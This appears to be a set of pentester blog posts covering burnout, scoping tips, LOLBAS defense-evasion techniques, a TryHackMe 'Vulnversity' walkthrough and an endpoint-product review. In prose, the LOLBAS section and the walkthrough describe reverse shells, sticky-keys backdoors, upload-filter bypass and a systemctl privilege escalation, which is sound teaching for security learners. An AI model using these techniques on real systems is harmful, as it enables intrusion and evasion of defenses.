Crushing CTFs doesn't make you a hacker, and you shouldn't be assuming to be such, but it can be a first step in that direction.

Thanks for your attention.

This time around I feel the need to face a taboo topic in the pentesting industry: dealing with burnout.

Most guys in this industry don't like to talk about it because they feel it as an admission of their weakness. I never thought I'd be talking about this topic either, because I love what I do and to me it's a lot of fun.

However, after you've done this for a while, you start realizing that you deal with recurring vulnerabilities that often never get patched and that you end up working too much, which doesn't necessarily mean being productive.

Working from home, at least in my case, you don't have a clear boundary between work and off work hours and sometimes you end up working way more than you should, getting burned out and feeling drained of any energy. Not all the aspects of this problem are personally referred to myself, to be 100% transparent, but I can relate to a lot of them. Over time I developed some ideas that helped me deal with this problem, and I'll share them with you guys.

SLOW DOWN TO GO FASTER

Putting billable hours in is important, but pentesting is also a matter of quality, other than quantity. If you keep going for hours when you're burned out, this doesn't do any good for you or your client, as you're getting nowhere. Often times, taking a break and getting back to what you were doing with a clear mind later on goes a long way.

Actually, this method often allowed me to have major breakthroughs and pop shells.

Therefore, allow yourself to take breaks, because you're not a machine, for God's sake.

Get a snack, go outside, walk the dog for 10 minutes and then go back at it refreshed.

FOCUS ON THE MOST IMPORTANT TASKS AND DECIDE WHEN TO STOP FOR THE DAY

I normally make a list of the most important tasks I need to accomplish over a day and try ticking them off one at a time.

I found I needed to force myself to put my work laptop away at a certain time (unless something major pops up) and call it a day. I actually found out I got more productive that way, because I focused on a certain number of high-priority tasks only and, when I cross them off, I'm done.

FIGHT YOUR INNER DEMONS

My interactions with my coworkers are virtual, as I'm remote.

Though I don't miss being in an office or I feel any desire to go back to that type of experience, that can often make you feel detached, like you don't matter. We all have that nasty inner voice telling you that you suck, they're gonna find out you're a lie, they're gonna fire you, blah blah…

Don't allow that voice to take you down, and fight it back. I find the best way to push it away is to grab my laptop and start working.

You might want to seek help when you're stuck, but also offer help.

I often find helping others distracts me from my worries and makes me feel better.

PURSUE OTHER INTERESTS OUTSIDE WORK

I'm extremely passionate about my work because to me is more than a job, so I mostly deal with hacking for fun, other than work. I still keep going through Vulnhub, HTB, etc. but, after a while, I realized I needed to do something different than information security when I don't work, in order to be a better person and recharge my batteries. When you dealt with a complex pentesting engagement for most of your day, maybe you might feel a little less enthusiastic about playing a CTF. You did it for work, you did the real thing, so it doesn't entice you that much. Of course, that doesn't mean you should stop learning, because you need to be constantly learning for you to be a better hacker, but you also need to talk to people, spend time with your family and do something different.

For many years I've felt guilty if I spent even one minute doing something other than info sec, because I wanted to be as good as I could get. I still feel that way but, after the pandemic, I also started feeling the need to do something else when I don't work.

In my case, I found music was a very good outlet for me and I started picking some instruments. I don't think I'm gonna ever play in a band, but it's a lot of fun. I also surprisingly found out that, by doing so, I could get better at my job.

SHARPEN YOUR MIND AND FOCUS ON IMPROVEMENT

Passion is important, but a clear mind is yet more important to get a good job done. Getting burned out doesn't do any good for your company, your clients and, above all, yourself.

You can't do quality work when you don't think straight, because you get so swallowed by your inner darkness that you can miss the opportunities in front of you.

My testing relies on automated tools, but it's mostly done manually, on any individual page, input field, search field, wherever I can enter something malicious.

When my mind is clear, things click pretty quickly for me. My mind is my working tool and I need to keep it sharp and clean, like an engine. Take care of it, and it'll work wonders for you. Let it decay, and you'll soon be gone.

FRESHEN YOUR PERSPECTIVES

After a while on the job, you start following a pretty repetitive approach, and this might demotivate you.

I found that using new tools and also learning how to use my tools in ways I hadn't considered or thought about it before fills me with a new enthusiasm. I'm always after ways of improving what I do and get faster, and I think there's always room for improvement. Even if you do a good job, you can always do better and you should always look forward to getting better at what you do.

Mentoring and training others can also produce alike beneficial effects. By explaining well-known concepts to junior guys, you get actually forced to relearn them and thinking about them in a new way.

We hackers are innovators, not bureaucrats. The moment you become a bureaucrat, and you settle down on a routine, you can't keep doing this job, the way I see it. That's why it's so hard, and it's not for everyone.

LOOK FORWARD BUT ALSO REMEMBER WHAT BROUGHT YOU HERE

I tend to look forward and think of what I can do better but sometimes I tend to forget all the struggles and efforts that led me where I am now.

We all have an imposter syndrome in this industry and mine is huge. I often think there's too many people brighter and better than myself and my head starts spinning with a bunch of stuff like that, until I think of how much effort I put to get to where I am right now and how long it took me. I often forget how many baby steps I had to take to get there. I could connect the dots only after so many years, quoting Steve Jobs' famous Stanford commencement speech.

I often thought I was going nowhere, but I never quit. As a matter of fact, every single baby step and every choice I made brought me here: attending a community college, working with Dave Kennedy, getting two degrees, multiple certifications, getting back to the info sec industry, with a crappy job first and finally becoming a penetration tester on top of that. And I know I'm a nobody, and I don't want or need fame, but I'm proud of what I did. Every single choice I made had its own function and brought me one step closer to my goal.

When your head starts spinning like that, think back of this and feel proud of your accomplishments, no matter how little. You're the only judge when it comes down to this, don't let anyone belittle your achievements. I'm particularly harsh to myself, and I think I can do way better than this but I'm nonetheless proud. I can only thank myself. I kept going, no matter what, and in the end my dreams came true. I had a great support system, I need to say, but hard work is needed. You don't go anywhere without it, unless you're a genius.

Wrap-up

Even though so many in our industry are into superheroes, we're not Ironmen.

We're human beings with our flaws and weaknesses and, though we love what we do, we also need to learn how to disconnect every now and then and take the time to recharge our batteries.

Burnout is a very serious though little debated problem in information security, but it can lead to severe issues, including mental diseases, if left unchecked.

We all tend to be overworked and we love what we do, so we don't mind that, but we often forget we're human beings, and human beings need time to recharge.

I debated whether to actually publish this post or not, but I ended up doing it because I believe it can help raise awareness and open a conversation about this issue.

I'm not the best person when it comes down to social media conversations (I really hate this term), and not much into social media myself, but sometimes talking about common issues with other people experiencing your same problem can offer you a different perspective and make you think of different ways for you to face it. Changing the way you think of something can often times give you a different solution you hadn't thought about before.

Archimedes famously said: "Give me a lever long enough and a fulcrum on which to place it, and I shall move the world". Our mind can be the lever for us to completely change what we do and improve our world.

We simply need to want it.

I've been working as a pentester for almost two years by now, dealing with increasingly complex situation and technical challenges, especially as to internal engagements.

I think it's important to take the time to have a look at what I learned from this journey so far, and share these lessons with newbies out there approaching this industry for the first time. I hope these few considerations can help you guys avoid or minimize some major mistakes we all did when approaching your first pentests.

Before I get into them, though, I believe having a company that allows you to fail to a certain extent and has your back when things go south is very important.

I admit I got lucky, under this point of view.

a) PASSIVE RECON-GET YOUR SCOPE RIGHT: you were given a scope and you're eager to jump into action, so you're ready to fire up your Nmap and go. I know, I've been there myself, but not so fast yet.

Before scanning specific IP addresses, make sure they actually belong to the client. Run passive recon with shodan, censys, dnslytics, netcraft and other tools (as a shameless plug, I also use my script for this). If the in-scope hosts have web ports, check their SSL certificates through the above-mentioned tools and make sure they're referred to the client. In other words, if you're pentesting ACME LLC, make sure the SSL certificate for the hosts you're scanning is directly registered to ACME LLC, or it can be associated with it another way, indirectly. I sadly had to learn this lesson the hard way.

ONLY WHEN YOU'VE PROVEN OWNERSHIP, YOU CAN START ACTIVE RECON. If you don't follow this rule, you could end up scanning addresses you're not authorized to scan, which can cause you and your company legal issues. ACCOUNT FOR THE CHANCE THE CLIENT MIGHT MAKE MISTAKES WHEN GIVING YOU THE SCOPE.

You might think, "Well, they gave us the scope, it's their computers, so how can it be wrong?". Sometimes, even the client can make mistakes, such as typos or wrong CIDRs. If this happens, and you don't catch it right away, you might end up scanning a series of IP addresses that doesn't absolutely belong. That's why double-checking ownership is important. If you see a specific IP address doesn't belong to ACME, LLC (in our example), but to a completely different organization (say American Wheels, Corp.), that's a red flag and means something's wrong with your scope, unless the two organizations are somehow connected (e.g. the latter organization's brand belongs to the former, or vice versa), or they merged.

As a hands-on example, one IP address we were given for a pentest had a typo and it wrongly resulted to be located in France. The client didn't have offices in that country and so we noticed it right away but, if this wasn't the case, that could've opened a whole can of worms for us. So you need to get your scope right in the first place. Additionally, sometimes organizations use IP addresses belonging to an ISP which manages a large network space, splitting it among different organizations, so it's important to make sure of what the client's specific network range is. A useful tip to solve this problem is to use Nmap for reverse DNS resolution. Running Nmap with the -sL switch allows to resolve an IP address to its hostname or DNS name, which can be useful to double check if it belongs to the client's organization.

b) MAKE SURE TO THROTTLE DOWN YOUR SCANS: Nessus, Burp and Nmap scans can sometimes cause sensitive network devices to crash. You might want to throttle down your scans, especially when dealing with healthcare clients, as they can have sensitive medical devices connected to the internet in their network.

Nessus is a major culprit because it can generate a real high traffic volume.

I recommend to check the options located in the Nessus Advanced tab. Under the Settings and Performance sections, you should enable the options that are shown as disabled (as they're disabled by default). This allows for scans to be less invasive and to generate a lower amount of traffic. As for Nmap, you want to avoid using the -A parameter or running potentially intrusive scripts that might cause a denial of service. As for Burp, going to Dashboard/Settings (the gear icon), you can lower the amount of requests per seconds generated and add a time delay between each single request. Burp is a massive RAM hog, so I always do that.

c) GET CLARITY ABOUT WHAT IS ALLOWED AND WHAT IS NOT AS TO YOUR EXPLOITATION:

Are you allowed to run an exploit at all and, if so, can you run it right away or do you have to alert the client and then wait for approval? If you were supposed to get approval before running an exploit and then you crash a server because of that, the client might not be particularly happy about it.

d) INFORM YOUR CLIENT RIGHT AWAY WHEN A CRITICAL FINDING IS VALIDATED:

I sometimes happen to get a shell on one or more machines, and also to dump and crack password hashes, or anyway I'm able to validate another type of critical finding (such as SQLi). Especially when the finding is referred to the client's external network and can be easily exploited through a browser over the Internet, you need to inform the client right away about that, because some bad guys could be leveraging the same vulnerability on that very moment, and your mission is to stop them, before they exfiltrate proprietary information. Refer to the ROE for the specific person(s) to contact under this scenario, but you'd normally have this information down way before the pentest got even started.

Wrap-up

Penetration testing isn't for the faint of heart, it requires hard work and attention to detail. The possibility for you to majorly screw up a pentest is always round the corner, and that's why I check myself thousands of times and I'm always paranoid and on my toes when I work on a project.

Experience is such an entry barrier to this industry, and there's a very good reason for it. In fact, there are too many opportunities for newbies to mess up and cause major troubles when they start out in this industry, due to its complexity and the learning curve you need to face. If you don't have any prior experience doing this, you simply don't know and might think you're doing a good job when you're not even covering your bases. Sadly, there's only one way to learn: fail and fail fast. I played in my virtual lab for four years before being a professional pentester, but that barely prepared me for 10% of what I had to do.

I mostly had to learn on the job and figure things out on my own. I was very lucky with my supervisors and my company culture, as I was always supported and often was given the right tip at the right time to solve a challenge and score a vulnerability.

There's not a lot of hand-holding in this industry, and that's why I believe OSCP is pretty realistic under this point of view, even though I don't think the exam machines you get always reflect real-world scenarios. However, they're a very good indicator of what an actual pentest really looks like most of the times, in terms of the steps you follow and of the structured procedure you need to have down for you to do a good job.

One recommendation is not to overthink this, though. You'd be surprised to know how many Windows 2000, Windows Server 2003 and Windows XP machines I spotted over my engagements.

Additionally, you'll never be 100% ready for anything in your life, so just do it, but be aware of the challenges you'll get.

I hope these few humble tips can help you guys approach this industry more effectively.

Good luck and ad maiora.

Over the last years, attackers have used increasingly sophisticated techniques, by leveraging coding bugs in web applications and security gaps in EDR systems and in antivirus software.

Security solutions play a cat-and-mouse game with bad guys, trying to catch up, and they often fail.

So far security products have mostly focused on detecting malicious payloads dropped to the target machine in multiple ways (through phishing, drive-by downloads and other mechanisms), but most of them widely overlook another important attack vector.

One of the latest trends in penetration testing is to use the so-called Living Off the Land Binaries and Scripts (LOLBAS), i.e. scripts and binaries normally installed by default in Windows, to slip through undetected. An alike approach for *nix systems is called GTFOBins.

As for Windows, this new threat vector is based on the concept that several system binaries may support built-in functionalities that potentially allow for compromise of the target system, but at the same time, as they are often bundled in Windows and signed by Microsoft, they do not normally raise any eyebrows when present in system activity. LOLBAS represent standard Windows features and binaries that can be often abused by attackers to bypass endpoint detection and defenses

A very useful reference to build on this concept is the LOLBAS project, available at https://lolbas-project.github.io/.

I recently participated in an engagement where I managed to widely use this method to compromise the target system, though it was hardened by a well-designed security solution.

Most incident response platforms focus on signatures or behavioral patterns, therefore they detect a potentially malicious binary either when it’s not signed by Microsoft or other trusted sources, or when its hash value matches the hash value of a known malware variant.

Utilizing LOLBAS to compromise a system is a very convenient method to attackers, because they don’t cause a lot of noise or suspicions. In fact, these binaries are signed by Microsoft, and they’re already available by default, so an attacker doesn’t have to download or install a third-party executable that could be flagged and blocked, or that could generate a revealing audit trail.

Let’s now have a look at some hands-on examples of LOLBAS exploitation and let’s see how Windows Defender responds to this type of attacks.

a) FTP:
FTP can be used both interactively in a terminal and non-interactively, by loading commands off a text file.

The latter method can allow an attacker to silently download a malicious file to the target machine.

After starting an FTP server on Kali, by using pyftpdlib, I could run the above commands from a text file, without being detected by Defender or other security software.
Sadly, Windows Defender detected the payload I used, as it was generated with msfvenom, but a custom malware would have surely had a much better luck.

This brings me to another consideration: I think Microsoft deserves a lot of credit for the way Windows Defender got improved.

Defender detected almost every payload I generated, no matter whether obfuscated or encoded.

b) Certutil:
Certutil is a standard Windows utility having dual purposes. Its primary function is to dump, display, and configure certification authority (CA) information.
However, it can also be used to upload a file to a Windows computer, without checking the format of the file.

The upload command was successful but, once again, Defender detected and removed the payload I generated as malicious.

c) nc.exe (netcat for Windows):
I was able to download nc.exe and obtain a reverse shell, without any response from Defender.
The executable isn’t always available by default in Windows, and some of its versions don’t support its -e switch.
However, it’s a pretty easy way to obtain a reverse shell on a remote system, if it's available on the local machine.

Netcat connection opened on the Windows machine

Netcat listener receiving connection on Kali (port 5555)

d) sethc.exe (STICKY KEYS ATTACK):
Sticky Keys is an accessibility feature that can be activated by pressing the SHIFT key for 5 times.
If an attacker can access the local filesystem with the right set of privileges, they could replace the original executable with cmd.exe and spawn a terminal, when the functionality is recalled.

Attackers could easily add a user for themselves, achieving persistence on the target machine.

The following examples are taken from this blog post.

e) extrac32.exe:
It’s used to extract cab files, but you also can use this command to add alternate data streams to a file.
In the below example, I added a hidden executable (Process Explorer) to a file called file.txt and the file didn’t change its size.

I was then able to run the executable without triggering any response from Windows Defender.

f) Findstr.exe:
It finds strings within text files. This useful functionality can be abused by searching for a string that does not exist in a file, and pipe that into a new file.
The hidden file can also be piped into an ADS stream of a file.

g) sc.exe:
A binary can be executed from an alternate data stream as follows:

Wrap-up

Quoting Nolan B. Kennedy: “In the modern age, antivirus and IDS/IPS software have made the ultimate comeback. The golden age of launching vanilla mimikatz and meterpreter payloads are LONG gone. And for my OSCP students: No, using 30 rounds of shikataganai encoding will NOT help you 😂⁣
LOLBAS (Living Off the Land Binaries and Scripts)⁣ and its sister site GTFOBins (for linux) are incredibly useful resources for identifying and abusing tools installed on almost every machine for everything from jail shell escaping & privesc to covert file transfers & data exfil. ⁣Now depending on the logging capabilities of the target system, you might STILL get caught doing bad things. Especially if the target system is monitored by a crack IR or Hunt team. .⁣And ultimately, as pentesters/red teamers we’re adaptive and LOL is only one tactic in our arsenal. Let’s make those defenders work for their pay 😈”

I couldn’t agree more with this statement. The longer I’m in the game the harder it gets for me to get a shell on a target system.

EDR and AV solutions have greatly stepped up their game and detect 90% of my payloads, because everyone used the same payloads for years and by now their signatures are well-known and are all over the place.

Even obfuscation doesn’t improve a lot the outcome from this type of attacks.
The response to these improved detection capabilities can be manually creating custom payloads and utilizing LOLBAS.

LOLBAS-based attack vectors are way stealthier, as they don’t raise a lot of suspicion nor create a lot of noise.

Most of them have underlying functionalities that can be abused but they’re signed by Microsoft, so defenders often overlook them.

We all picture bad guys dropping some weird payloads on the system and expect for an alert to pop up about that, but what if the attacker used Windows functionalities themselves to attack a remote system?

When red teamers use this attack vector, they’ll achieve a good success rate because often times no one thought of monitoring it.
I personally believe this is the future of penetration testing and we’ll see LOLBAS increasingly being used by bad guys to evade defenses.

Are you ready for this?

References:
https://www.varonis.com/blog/the-malware-hiding-in-your-windows-system32-folder-more-alternate-data-streams-and-rundll32/

https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/

TryHackMe is an interesting website where you can legally and safely practice pentesting/hacking.

You can choose between paid and free activities in the website.

The site hosts a series of “rooms” where you can learn by following specific learning paths (e.g. Linux priv esc) or playing CTF.

Compared with Hack The Box, it's more beginner-friendly and in each room, regardless if free or premium, you can normally find community-developed write-ups if you get stuck.

I recently solved a room called Vulnversity.

Here’s the walkthrough to it.

For you to play, you need to download an .openvpn file and use it to connect to the lab network.

For more detailed instructions, check the Access page.

When this is done, you’ll be receiving an internal IP address and will be able to connect to the target machine.

INITIAL RECON: nmap -sS -sV -p- --open -T4 -vv <MACHINE IP>

PORT STATE SERVICE REASON VERSION

21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3

22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)|

139/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)

3128/tcp open http-proxy syn-ack ttl 63 Squid http proxy 3.5.12

|_http-server-header: squid/3.5.12

|_http-title: ERROR: The requested URL could not be retrieved

3333/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))

| http-methods:

|_ Supported Methods: POST OPTIONS GET HEAD

|_http-title: Vuln University

No exact OS matches for host.

Uptime guess: 198.840 days (since Wed Sep 11 02:15:18 2019)

Network Distance: 2 hops

TCP Sequence Prediction: Difficulty=261 (Good luck!)

IP ID Sequence Generation: All zeros

Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:

|_clock-skew: mean: 1h20m00s, deviation: 2h18m34s, median: 0s

| nbstat: NetBIOS name: VULNUNIVERSITY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

| Names:

| VULNUNIVERSITY<00> Flags: <unique><active>

| VULNUNIVERSITY<03> Flags: <unique><active>

| VULNUNIVERSITY<20> Flags: <unique><active>

| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>

| WORKGROUP<00> Flags: <group><active>

| WORKGROUP<1d> Flags: <unique><active>

| WORKGROUP<1e> Flags: <group><active>

| Statistics:

| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

|_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00

| p2p-conficker:

| Checking for Conficker.C or higher...

| Check 1 (port 41203/tcp): CLEAN (Couldn't connect)

| Check 2 (port 45735/tcp): CLEAN (Couldn't connect)

| Check 3 (port 56253/udp): CLEAN (Failed to receive data)

| Check 4 (port 32651/udp): CLEAN (Failed to receive data)

|_ 0/4 checks are positive: Host is CLEAN or ports are blocked

| smb-os-discovery:

| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)

| Computer name: vulnuniversity

| NetBIOS computer name: VULNUNIVERSITY\x00

| Domain name: \x00

| FQDN: vulnuniversity

|_ System time: 2020-03-27T22:25:24-04:00

| smb-security-mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported

|_ message_signing: disabled (dangerous, but default)

| smb2-security-mode:

| 2.02:

|_ Message signing enabled but not required

| smb2-time:

| date: 2020-03-28T02:25:24

|_ start_date: N/A

TRACEROUTE (using port 445/tcp)

HOP RTT ADDRESS

1 138.04 ms 10.8.0.1

2 138.24 ms 10.10.10.202

Nmap done: 1 IP address (1 host up) scanned in 85.44 seconds

Raw packets sent: 73874 (3.254MB) | Rcvd: 73628 (2.969MB)

FINDINGS
The web server is running on port 3333.

Let's do some recon and brute force its directories.

I could find an upload directory (/internal) through the DIRSEARCH tool.

The challenge contains hints on what extensions might be allowed, but we can also gather that by using Burp Intruder.

After launching an attack through Intruder (see embedded video), we conclude phmtl extension results to be allowed.

We can then upload a reverse shell by changing its extension from php to phtml.

We then obtain a reverse shell from the target machine by browsing to the URL where the uploaded shell is stored on the webserver.

Analyzing /etc/passwd, we find that a user called bill is also configured on the machine and we can access its home directory, containing our first flag (user.txt), which is a world-readable file.

PRIVILEGE ESCALATION

Looking for SUID FILES (through the below command), we find systemctl is available for privesc.

The reason why it stands out is that systemctl is used to set up a service as automatic, so that it will run when the system starts.

By following the directions found here, we can create a fake service that will return a root reverse shell on port 9000.

The privilege escalation technique leverages the fact systemctl allows to start a service. In this case, as systemctl is wrongly configured to run with the same privilege level as the root user, it’ll return a root shell when we run our fake service.

This is what the fake service looks like:

NOTE: Compared with the referenced post, I made two changes:

I replaced the bash payload with a python payload (the bash shell mentioned in the original post didn't work)
I replaced the attacking machine's IP address with my internal IP for the TryHackMe network.

I then started the service with the command below (systemctl enable /tmp/root.service).

The command creates a service called root that, once started, will send a root shell back to our machine.

To start the service we created, we run systemctl start /tmp/root command.

As a result, by opening up a netcat listener on port 9000, we receive a reverse root shell.

At that point, we can read the root flag and we can pwn the machine.

GAME OVER!!

Hope you enjoyed the walkthrough and the ride.

Stick around for more posts

CONTACT OUR TEAM AT POLITO, INC.

Introduction

Organizations spend millions of dollars on cybersecurity solutions, yet breaches keep increasing. More alarmingly, headline breaches are only the ones that are public and reported, but there are many more that are neither detected, nor reported.

For these reasons, different cybersecurity solutions, each one with their own twist, have been created and implemented. How do we know they work? How do they withstand against non-sophisticated and sophisticated attack techniques? Who asks these questions before implementation and who conducts testing of these solutions?

One of the last frontiers in information security is Endpoint Detection and Response (EDR).

"Endpoint detection and response solutions record system activities and events taking place on endpoints and provide security teams with the visibility they need to uncover incidents that would otherwise remain invisible" (Source: CrowdStrike).

Such solutions are inspired to famous ancient Chinese general Sun Tzu's saying:

Common Industry Solutions

Whitelisting

Whitelisting is based on the concept, "let's allow only what's known to be good and block anything else". Only programs included in an allowed list (whitelist) can be installed and executed, while all the other ones will be blocked.

Though this may be a good solution in some cases, it hides a serious flaw, as whitelisting is based on trust. Even though a well-known program (e.g. Adobe Reader) can be considered as a legit application for some specific users, it might have bugs and vulnerabilities that can be exploited.

Whitelisting requires constant care and maintenance and implies a trade-off between users continuously requesting additional programs, and regular administrative monitoring for new and updated programs to allow or disallow.

Blacklisting

This is the exact opposite approach to whitelisting, based on so-called known bad, that is blocking specific applications known to be malicious or to behave like malware. This concept would appear very promising but it fails to deliver in the long run. In fact, in specific environments, applications that would be normally considered as malware or have a malware-like behavior are indeed beneficial to an organization and are intended to work a certain way.

If so, a blacklisting approach would be damaging to an organization, because it would block applications needed for its own functioning.

An example of this scenario can be the Metasploit Framework.

When run in a Windows environment, antivirus programs normally flag Metasploit as malicious and block it, unless specific exception rules are added. Now, if a company has an internal pentesting team, for example, a pure blacklisting approach would prevent testers from doing their job because it would block an application that, in the specific scenario, is legitimately used to benefit the organization.

Another important limitation of the blacklisting approach is that it might not rise to the occasion when the malicious code is obfuscated through AV evasion tools, such as XEncrypt and Veil-Evasion. For a more thorough analysis of this specific topic, check out the latest Polito Inc. corporate blog post: Automated Obfuscation of Windows Malware and Exploits Using O-LLVM.

Endpoint Protection, Detection, and Response

Endpoint protection platforms (EPP) try to prevent malware from reaching the endpoint or executing on the endpoint. Endpoint detection and response (EDR) solutions detect attacks after the fact and then try to remediate the damage as quickly as possible. Both approaches can become part of the overall attack surface, as these tools might get disabled by an attack. They might also cause high rates of false positives, and a high missed detection rate.

Layered Defenses Get Compromised by Exploiting Users

Layered defenses—based on various cloud, network, and endpoint components— are only effective when the "full stack" is accessible to the device being protected. Sadly, many tools require forced-VPN solutions to function and provide limited or no defense for roaming laptops or remote workers, connecting to the corporate network from potentially insecure locations, such as hotels, airports, coffee shops and restaurants.

Failure of Common Cybersecurity Strategies

Detection-based defenses have repeatedly failed over the years due to multiple factors. These include improperly tuned tools and increasing number of kernel exploits, which have led to insufficient detection rates of attacks, successful attacks, and breaches. Additionally, malware has become more sophisticated and capable of evading a number of layered defenses proposed over the years (signatures, heuristics, sandboxing, artificial intelligence, predictive analytics, machine learning, neural networks) by implementing techniques like obfuscation, encoding, encryption, anti-forensics, etc. and making its code much less recognizable by detection-based solutions.

All the above solutions have not addressed the main issues with detection: it is not very scalable at an enterprise level and malware only has to slip through defenses once for it to spread in a corporate network. The most important issues that remain unsolved by using detection-based solutions are:

There will always be software vulnerabilities, both known and unknown (0-days).
Malicious code and threats will always exist.
Attacker moves cannot always be predicted.

The real problem isn't whether but rather when an organization will get hacked. Preparedness to this regard is critical.

Application as Endpoint

Applications are often the attack vector used to hack a network, so an organization can harden its systems by preventing a compromised application from exploiting its hosts. Based on all the above considerations, it seems clear that endpoint security is best achieved by securing applications. The application-as-endpoint concept may provide a more effective solution. This concept is validated by the observation of the way bad actors operate. In fact, they don't target the operating system directly, but rather installed applications and browsers, by leveraging their vulnerabilities.

Examples of application attack vectors include:

Malicious Office documents
Weaponized PDFs
Steganographic malware in image files
Fileless malware in web browsers

Polito Inc. pentesters have personally tested multiple EDR applications against different types of payloads and found AppGuard to stand out.

AppGuard is a host-based software solution developed on the concepts of zero trust and application-as-endpoint, and functioning as a kernel driver on Windows platforms.

AppGuard intercepts write access both to the computer's permanent storage (local hard disk, network shares, etc.) and to removable storage devices, such as USB drives and external disks. AppGuard also prevents Drive-By attacks by blocking suspicious programs run on user space.

AppGuard enforces system and file integrity without complex management overheads, through a solid access control over the writing of executable files and user-defined files (protected files) to a computer. It protects against unauthorized modification and denies unauthorized write operations and block suspicious processes. The system administrator can tweak these settings and can add customized exclusions.

AppGuard was tested independently by Polito Inc. on behalf of the company and the product did good when faced up with multiple attack vectors (PowerShell Empire, Magic Unicorn and Veil-Evasion payloads, obfuscated PowerShell payloads, fileless payloads, etc.), always preventing suspicious applications from writing to the registry altogether.

Figure 1- VirusTotal report on obfuscated payload

AppGuard should be deployed on a newly installed 'clean' operating system. From this secure initial state (baseline), it'll be easier to look at unauthorized and unwanted activities on the system. Upon installation, AppGuard activates Insider-Threat defense mode by default, which is primarily a defense against reverse shell access to the endpoint. In this mode, only Browsers are allowed to have access to the Internet.

This behavior can be customized with the Enterprise version, where companies have the option to apply their specific security policies inside AppGuard.

The post can't provide more scenario-specific details, in compliance with the NDA existing with the client. However, over their testing, Polito Inc. penetration testers observed AppGuard stopped most attacks that are normally a go-to with other endpoint security solutions (obfuscated PowerShell payloads, batch files, Magic Unicorn payloads and custom ransomware, etc.), by preventing registry writes.

The only times when testers could get a shell was when Threat Hunter Mode, which constantly blocked the reverse shell payload, was disabled. Of course, AppGuard can't be regarded as a panacea but its approach seems to provide better results than a merely detection-based approach. AppGuard can very efficiently supplement a detection-based solution, for a marriage made in heaven.

Wrap-up

Detection-based endpoint security solutions have not always risen to the occasion, as they include a lot of complexities and blind spots, potentially allowing for unknown or obfuscated malware to slip through.

Both whitelisting and backlisting approaches have their pros and cons and are very complex to handle. Specifically defining what applications to allow or block can be challenging in today's complex work environments, where each employee holds multiple roles and sometimes conflicting responsibilities, requiring multiple access levels to corporate assets.

Application hardening-based solutions, such as AppGuard, seem to have a higher potential, as they don't rely on signatures but block an application from writing to the registry, unless specifically allowed, based on a zero-trust concept.

Detection-based solution such as CrowdStrike and CarbonBlack rely on "indicators of compromise" (IoCs) while AppGuard just simply blocks specific actions, such as registry writes.

This brings simplicity, allowing companies to reduce the complexities underlying endpoint security implementation and efficiently cut their overall attack surface. AppGuard allows yet more flexibility with its Enterprise version, allowing companies to use their custom security policies and more easily adjust the protection level provided to their specific needs.

CONTACT OUR TEAM AT POLITO, INC.

All over the world, the pandemic outbreak caused by the coronavirus is forcing organizations to radically rethink their work structure, allowing employees to work remotely, whereas the nature of their business allows it.

Some companies were already implementing remote work solutions to a certain extent before the virus outbreak, while others weren't prepared for this change or weren't considering it at all.

The challenges created by the pandemic are a typical example of why a disaster recovery strategy is so important for the survival of an organization. Organizations will need to respond quickly to this new scenario, or they'll be soon out of business.

As it often happens, though, making strategic decisions when pressed by time can lead to catastrophic consequences.

Incorrect and hasty VPN implementations can lead to a higher number of security breaches than it would be otherwise. A VPN (Virtual Private Network) gives access to an organization's internal network. When remote employees connect to a VPN, they access the internal network the same way as if they were sitting at their desks using a device physically hooked to it.

The scenario we're currently living will push more and more organizations to implement VPN networks over short time frames, so the underlying question is: how can this be done securely and how can organizations implement the solutions they need without jeopardizing their business and their customers' information?

Challenges in working from home

The primary benefit of VPN is that network traffic is routed through a secure tunnel between the user and the organization.

However, the use of a VPN may also present some underlying risks and challenges.

If the VPN service used is configured incorrectly, it could cause all users' network traffic to connect over VPN, slowing down connectivity. Additionally, if a VPN is configured with a split-traffic set up, then users have access to internal apps/resources but are not routing all web traffic. If so, an endpoint getting compromised could cause those internal resources to be exposed to potential attackers. Under this scenario, no logs would be available with regard to the incident, so attackers could be allowed to persist within the corporate network for a long amount of time.

ALWAYS use VPN when working remotely. The spread of the so-called Internet of Things (IoT) devices and of smart devices connected to the Internet (TVs, security systems, washers, dryers, printers, etc.) has gradually increased the attack surface. Often times these devices are inherently insecure or are configured with standard credentials, which could allow an attacker to move laterally across the network and compromise the corporate home-based device.

Additionally, Multi-Factor Authentication (MFA) should also be enabled whenever available. MFA makes it more difficult for hackers to access company assets, as they must typically also have access to a user's smartphone or security device in addition to their username and password to login.

Make sure the specific VPN solution implemented is constantly updated against the most recent threats. I recently had the chance to pentest some endpoints running Fortinet, affected by two CVEs related to critical vulnerabilities (directory traversal and reflected XSS), and I was able to successfully access sensitive files on the web server.

A failure to install the patches related to these and other vulnerabilities can easily lead to a complete compromise of the VPN and, along with it, of the whole corporate network.

For a more thorough analysis of this topic, please refer to the following links:

https://www.us-cert.gov/ncas/alerts/aa20-010a

https://www.darkreading.com/attacks-breaches/widely-known-flaw-in-pulse-secure-vpn-being-used-in-ransomware-attacks/d/d-id/1336729

https://www.fortinet.com/blog/business-and-technology/fortios-ssl-vulnerability.html

us-cert.gov

Continued Exploitation of Pulse Secure VPN Vulnerability | CISA

Widely Known Flaw in Pulse Secure VPN Being Used in Ransomware Attacks

FortiOS and SSL Vulnerabilities

Updating the underlying software, along with using strong passwords and MFA solutions, minimizes the risks related to password spraying attacks, brute force attacks, dictionary attacks and other TTPs (Techniques, Tactics and Procedures) that could lead to a partial of complete corporate network compromise. It's a cat-and-mouse game and organizations need to be on top of it. For each dollar spent in information security, one dollar is spent in developing new malware and exploits by the bad guys.

Endpoint security

